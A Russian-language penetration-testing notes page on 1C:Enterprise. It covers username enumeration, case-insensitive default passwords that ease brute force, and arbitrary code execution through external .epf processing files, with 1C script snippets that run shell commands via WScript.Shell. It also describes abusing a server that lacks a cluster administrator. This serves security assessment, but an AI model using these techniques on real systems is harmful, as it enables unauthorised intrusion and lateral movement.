# 1C

## Что нужно знать, при пентесте 1С

* Иногда там выдаются имена пользователей (если включено) в автодополнении, либо можно попробовать обратиться на /ru\_RU/e1cib/users.
* Пароли из коробки не чувствительны к регистру. "Пароль" и "пАрОль" - одно и тоже, что уменьшает количество для брута (особенно классно вместе с предыдущим пунктом).
* Внутри часто есть выполнение произвольного кода.

Если в 1С включено интерактивное открытие внешних отчетов и обработок, то достаточно тыкнуть Файл => Открыть и загрузить консоль запросов для управляемого приложения с разширением epf.

{% file src="<https://3407314179-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Luj3RQcpeCCehnHEmrG%2F-MKinPmxpRM2bYzQDq4H%2F-MKinwPzIwqaAG_Npx3d%2F1C_RCE.epf.zip?alt=media&token=b313f884-f59a-4bf4-8af5-f3bf03f2de84>" %}

В консоле же легко выполнять произвольные команды и выводить их с помощью функции "Сообщить".

![](https://3407314179-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Luj3RQcpeCCehnHEmrG%2F-MKinPmxpRM2bYzQDq4H%2F-MKioBF-iJGfPopq0P6q%2F2020-10-28%2013.45.40.jpg?alt=media\&token=7837394a-82da-4940-b5ad-ffe78ee4ef6d)

Например:

```
СисИнфо = Новый СистемнаяИнформация;
Shell = Новый COMОбъект("WScript.Shell");
UserDir = Shell.ExpandEnvironmentStrings("%USERPROFILE%"); 
Сообщить(СисИнфо.ВерсияОС+" "+СисИнфо.ТипПлатформы+Символы.ПС+Символы.ПС+СисИнфо.Процессор+", RAM: "+СисИнфо.ОперативнаяПамять+" МБ"+Символы.ПС);
Сообщить("Каталог 1с: " + КаталогПрограммы());
Сообщить("Пользователь: "+UserDir);
Тасклист=Shell.Exec("tasklist /v");
Сообщить(Тасклист.StdOut.ReadAll());

```

Дальше уже можно загружать внешние сценарии, повышать привилегии (скорее всего уже будет админ) и распространяться по сети.

Еще пример test.epf скрипта

```
&НаСервере
Процедура ДействиеВыполнитьНаСервере()
	Попытка
		Shellexec = Новый COMОбъект("WScript.Shell");
		Shellexec.Exec("powershell whoami");
	Исключение
    	Сообщить("Error!");
	КонецПопытки;
КонецПроцедуры

&НаКлиенте
Процедура ДействиеВыполнить(Команда)
	ДействиеВыполнитьНаСервере();
КонецПроцедуры
```

## Администратор кластера на сервере 1C

Если на сервере 1C отсутстует администратор кластера, то такая конфигурация позоляет, подключившись к серверу 1C, добавить собственную БД кластер 1C и вывполнить произвольный код на сервере 1C.

Для проверки лезем в `Console Root\Central 1C:Enterprise XX servers\Some IP\Кластеры\Имя кластера\Администраторы`

Если там пусто, то в враздел Информационные базы добавляем свою базу и загружаем внешнюю обработку (shell.epf) 1С для выполнения кода на сервере:

![](https://3407314179-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-Luj3RQcpeCCehnHEmrG%2F-MgQpEp9OtJGwEAxe8rv%2F-MgRoh60RXVxWF9CEcIa%2F%D0%B8%D0%B7%D0%BE%D0%B1%D1%80%D0%B0%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5.png?alt=media\&token=e71490fa-4179-4e6c-817c-7d7c7811474e)
